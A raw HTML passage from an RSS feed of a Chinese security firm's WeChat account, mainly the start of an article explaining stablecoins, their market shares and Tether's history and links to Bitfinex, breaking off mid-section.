#333333;line-height: 18px;border-bottom:none !important;" data-mid=""><p style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;max-width: 100%;" data-mid="">护网专题第一篇-Java内存马（上）</p></section></a></section></section></section></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br mpa-from-tpl="t"/></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-end;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;padding: 0px 30px 0px 0px;" data-mid="" mpa-from-tpl="t"><section style="width: 25px;height: 27px;display: flex;justify-content: center;align-items: center;align-self: flex-end;margin-right: -27.1px;margin-bottom: -24.1px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="1" data-w="96" src="https://wechat2rss.xlab.app/img-proxy/?k=1782a943&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FGFLQELzeHYjlPKyibC4DhCSLcOTB16IMjSHK1axEly55sBJ2ZL8gEY8SHnGEVq5ZiaksWtsT7easUBBoRcjib8DlQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 15px;height: 24px;display: flex;justify-content: center;align-items: center;align-self: flex-start;margin-left: -17.1px;margin-bottom: -23.1px;" data-mid="" mpa-from-tpl="t"><img data-ratio="1.375" data-w="32" src="https://wechat2rss.xlab.app/img-proxy/?k=49649a33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPekErwtg4WKmwH3eibyzzq6s8Y3mAfMqgg4oMDqNdgewSt6icvABmJGpFQ45Bic3oZZx5iaVXrYiasFZttZOx1ticcRg%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: left;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bb;color: #FFFFFF;line-height: 22px;text-shadow: 1px 1px 0px #000000, 1px 0px 0px #000000, -1px 0px 0px #000000, 0px -1px 0px #000000, 0px 1px 0px #000000, -1px -1px 0px #000000, -1px 1px 0px #000000, 1px -1px 0px #000000;" data-mid="">点个<span style="padding: 0px 5px;font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 22px;text-shadow: 1px 1px 0px #000000, 1px 0px 0px #000000, -1px 0px 0px #000000, 0px -1px 0px #000000, 0px 1px 0px #000000, -1px -1px 0px #000000, -1px 1px 0px #000000, 1px -1px 0px #000000;" data-mid="">在看</span>你最好看</p></section><section style="width: 8px;height: 8px;display: flex;justify-content: center;align-items: center;margin-right: -8.1px;align-self: flex-end;margin-top: -7.1px;" data-mid="" mpa-from-tpl="t"><img data-ratio="1" data-w="16" src="https://wechat2rss.xlab.app/img-proxy/?k=b4b5b844&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlNwjBmeZOpwtYL4m6wWia6fPCyrOZiaygfADsajMnp7pkAQE6vg8w3bG9iae1AribdH3EQkrcO6ziaDhcBpl7ksCEkA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section>



<p><a href="2247495136">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=879688c0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247495136%26idx%3D1%26sn%3D7e3f5693b8c0c7e4fd2203027fa1f0aa%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 22 Jul 2022 16:38:00 +0800</pubDate>
    </item>
    <item>
      <title>Unstable Stablecoins（上）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247495003&amp;idx=1&amp;sn=666b057bbef80321da916c81dfcad5d5</link>
      <description>Unstable Stablecoins 稳定币（上）</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2022-07-21 17:38</span> <span style="display: inline-block;">湖南</span>
</p>

<p>Unstable Stablecoins 稳定币（上）</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b8d3e1d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMHNJcaLxlnQpicUGEJ2IyFtunjicIrMVR52iaPJt04omNVRvQwYDto7jSg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-align: center;line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;" data-mpa-powered-by="yiban.io"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6671875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a026b174&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMicCyBgEYUqw3Jt3AjJvH9923gK5bfiaabA4scxdojRicgXTBnYkPa7oHA%2F640%3Fwx_fmt%3Djpeg"/></section><h2 style="margin: 16px;text-align: center;line-height: 1.75em;"><strong><span style="letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);">正文共7672字，预计阅读时间20分钟</span></span></strong><span style="letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"></span><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"></span></strong></span></h2><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 0.5px;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><br/></span></strong></span></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 125px;height: 24px;display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.22084367245657568" data-w="403" src="https://wechat2rss.xlab.app/img-proxy/?k=cb7d3722&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FXjvFrfG0LOicRdgLoCEGNassxea9pmXfyBIvtJdJABcJcPrr2iaBXbNdh6WzOk41dM7q7Pwhk39BzssIcJ3wb4OA%2F640%3Fwx_fmt%3Dgif"/></section></section></section></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="17827" data-type="lspecial06" data-md5="d6650" mpa-from-tpl="t"><section data-md5="d6650" mpa-from-tpl="t" style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaZ7Bia3Wm91cEuWhERXfCYjTJZXgJxLPVYDTQswNwurxvXyG2nQPSYXFyhIhpJiamWR8EPUAVf3G9vA/640?wx_fmt=png&#34;);background-size: 100%;width: 40px;height: 40px;margin: 0px auto;background-repeat: no-repeat;"><section style="color:#595959;letter-spacing:1px;line-height:40px;text-align:center;" data-md5="d6650" mpa-from-tpl="t"><section style="font-size: 40px;padding: 0px;margin: 16px 0px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><strong data-md5="d6650" mpa-from-tpl="t">1</strong><strong data-md5="d6650" mpa-from-tpl="t"></strong></span></section></section></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-role="paragraph" mpa-from-tpl="t"><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section><section data-id="89817" mpa-from-tpl="t"><section data-id="us503369" mpa-from-tpl="t"><section style="width:100%;" data-width="100%" mpa-from-tpl="t"><section mpa-from-tpl="t" style="width: 200px;height: 46px;margin: 10px auto;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iabwjyojLhA03PtxUnkNPREnbeZHiabsk7W91ViaiaV9SwOOPJXw3GB691VicCgoMWBQbLMbmQ9BuwE6YQ/640?wx_fmt=png&#34;);background-repeat: no-repeat;background-size: 100%;overflow: hidden;"><section style="width: 180px;height: 20px;margin-left: 10px;font-size: 16px;color: rgb(255, 255, 255);text-align: center;line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 0.5px;"><strong><span style="font-size: 18px;">简    介</span></strong></span></section></section></section><section style="clear: both;width: 100%;line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section></section></section></section></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">稳定币（Stablecoin）是加密数字货币其中一种类型。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">由于依靠算法或权益证明等产生的虚拟货币容易受到波动，同时缺乏价值储存的功能使之无法替代中心化货币，因此加密货币只被视为投机资产。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">稳定币的核心想法是提供一个“稳定”价值的加密数字货币，用以衡量其他加密数字货币的价值。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">这就像是19世纪中期开始盛行的金本位制度，稳定币是黄金，各国的货币对应于不同的加密数字货币。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">任何人只要持有黄金（稳定币），就等于拿到了硬通货，能够自由兑换各国的货币（加密数字货币）进行交易。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">稳定币对于数字货币领域而言，担任着不可或缺的角色。它的到来，使得更多人能够自由地进出数字货币领域，并保障了数字货币资产持有者的资产价值。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;letter-spacing: 0.5px;"><br mpa-from-tpl="t"/></span></section><section style="margin-top: 16px;margin-bottom: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" style="display: block;" data-w="36" src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid #133962;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #133962;line-height: 22px;letter-spacing: 1px;" data-mid="">   稳 定 币 当 前 市 值  </p><span style="width: 100%;display: block;height: 8px;background: #E6EEF4;margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="margin-top: 16px;margin-bottom: 16px;"><br/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;letter-spacing: 0.5px;"><br mpa-from-tpl="t"/></span></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><br/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid #133962;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #133962;line-height: 22px;letter-spacing: 1px;" data-mid=""><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5484375" data-s="300,640" style="text-align: justify;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2caae029&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMdUOx2ANibxtAOoe09AMIUj3cvWSU0xbahKCB74dMlhyXB8A2cxwD1Uw%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><br/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">目前区块链稳定币的总市值为1535亿美元，其中USDT占43%，USDC占36%，BUSD占12%，Dai占5%。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6159052453468697" data-s="300,640" style="" data-type="png" data-w="1182" src="https://wechat2rss.xlab.app/img-proxy/?k=1ea008d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMK27TVZ9eicQrKmk8ONUzg6ibqUIVky9nNjlWbicjVNOxTgcgGNj3pkQwg%2F640%3Fwx_fmt%3Dpng"/></section><h2 style="margin: 16px;text-align: justify;line-height: 1.75em;"><br/></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="17827" data-type="lspecial06" data-md5="d6650" mpa-from-tpl="t"><section data-md5="d6650" mpa-from-tpl="t" style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaZ7Bia3Wm91cEuWhERXfCYjTJZXgJxLPVYDTQswNwurxvXyG2nQPSYXFyhIhpJiamWR8EPUAVf3G9vA/640?wx_fmt=png&#34;);background-size: 100%;width: 40px;height: 40px;margin: 0px auto;background-repeat: no-repeat;"><section style="color:#595959;letter-spacing:1px;line-height:40px;text-align:center;" data-md5="d6650" mpa-from-tpl="t"><section style="font-size: 40px;padding: 0px;margin: 16px 0px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><strong data-md5="d6650" mpa-from-tpl="t">2</strong> </span></section></section></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-role="paragraph" mpa-from-tpl="t"><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section><section data-id="89817" mpa-from-tpl="t"><section data-id="us503369" mpa-from-tpl="t"><section style="width:100%;" data-width="100%" mpa-from-tpl="t"><section mpa-from-tpl="t" style="width: 200px;height: 46px;margin: 10px auto;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iabwjyojLhA03PtxUnkNPREnbeZHiabsk7W91ViaiaV9SwOOPJXw3GB691VicCgoMWBQbLMbmQ9BuwE6YQ/640?wx_fmt=png&#34;);background-repeat: no-repeat;background-size: 100%;overflow: hidden;"><section style="width: 180px;height: 20px;margin-left: 10px;font-size: 16px;color: rgb(255, 255, 255);text-align: center;line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 18px;">法币支持的稳定币</span></strong></span><span style="letter-spacing: 0.5px;"><strong><span style="font-size: 18px;"></span></strong></span></section></section></section><section style="clear: both;width: 100%;line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section></section></section></section></section><section style="margin: 16px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><strong><span style="font-size: 20px;box-sizing: border-box;transform-style: preserve-3d;text-indent: 0em;color: rgb(40, 104, 176);transform: translate3d(0px, 0px, 1px);display: inline-block;font-weight: bold;">USDT</span></strong></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">USDT（又称为泰达币），是泰达公司（Tether Limited）在2014年提出的稳定币。泰达公司将USDT与美元进行挂钩，承诺能够进行1:1的USDT与美元兑换，每发行一</span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;">个USDT，泰达公司就会增加1美元的储备。</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;"><br/></span></span></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" class="rich_pages wxw-img" data-w="36" style="display: block;" src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid #133962;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #133962;line-height: 22px;letter-spacing: 1px;" data-mid="">  历   史  </p><span style="width: 100%;display: block;height: 8px;background: #E6EEF4;margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><br/></section><section><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section style="margin: 16px;line-height: 1.75em;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Tether最初命名为“Realcoin”，于 2014 年 7 月由联合创始人 Brock Pierce、Reeve Collins 和 Craig Sellars 在位于圣莫尼卡的初创公司里宣布成立的，初始代币（Realcoin）在2014年10月6日借助Omni协议发布于比特币网络。<br/></span></section></section></section></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;">一个月后，也就是11月20日，Tether公司将代币更名为Tether，并推出了基于美元，欧元和日元的稳定币，至此开启了Tether的辉煌时代。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;">提到泰达公司，还有一个不得不提的公司是Bitfinex。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><span style="font-size: 12pt;">Bitfinex是一个数字货币交易所，注册在英属的维京群岛，由iFinex Inc公司管理。虽然没有官方资料可以证明Bitfinex与泰达公司之间有明显的关系，但是从许多公开媒体的报道可以得知，</span><em style="mso-bidi-font-style:normal;"><span style="font-size: 12pt;">Tether Holdings Limited</span></em><span style="font-size: 12pt;"> 是由Bitfinex的两位高管负责注册的，而</span><em style="mso-bidi-font-style:normal;"><span style="font-size: 12pt;">Tether Holdings Limited</span></em><span style="font-size: 12pt;"> 底下有一个全资子公司就是</span></span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;color: rgb(0, 122, 170);"><strong style="mso-bidi-font-weight:normal;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;font-size: 12pt;">泰达公司</span></strong></span><span style="letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">。</span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12pt;">后续有媒体发现，两家公司的CEO、CFO和董事长均相同。</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">根据搜索引擎关于Tether的资料，梳理出股东关系图如下：</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6359375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=984efb90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMibu8G6cBnVdFdq3YAMOtz5TJicVemYoZjOcNicnPfPeAnUCV8jVZfCrUg%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br mpa-from-tpl="t"/></span></section><section style="margin-top: 16px;margin-bottom: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" style="display: block;" data-w="36" src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid #133962;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #133962;line-height: 22px;letter-spacing: 1px;" data-mid="">  丑   闻  </p><span style="width: 100%;display: block;height: 8px;background: #E6EEF4;margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="margin-top: 16px;margin-bottom: 16px;"><br/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;">在2019年起，纽约检察长办公室开始调查Bitfinex与泰达公司，并指控两家公司欺诈加密货币投资者，操纵加密货币市场，挪用9亿美元的USDT准备金帮Bitfinex补足亏空。<br/></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 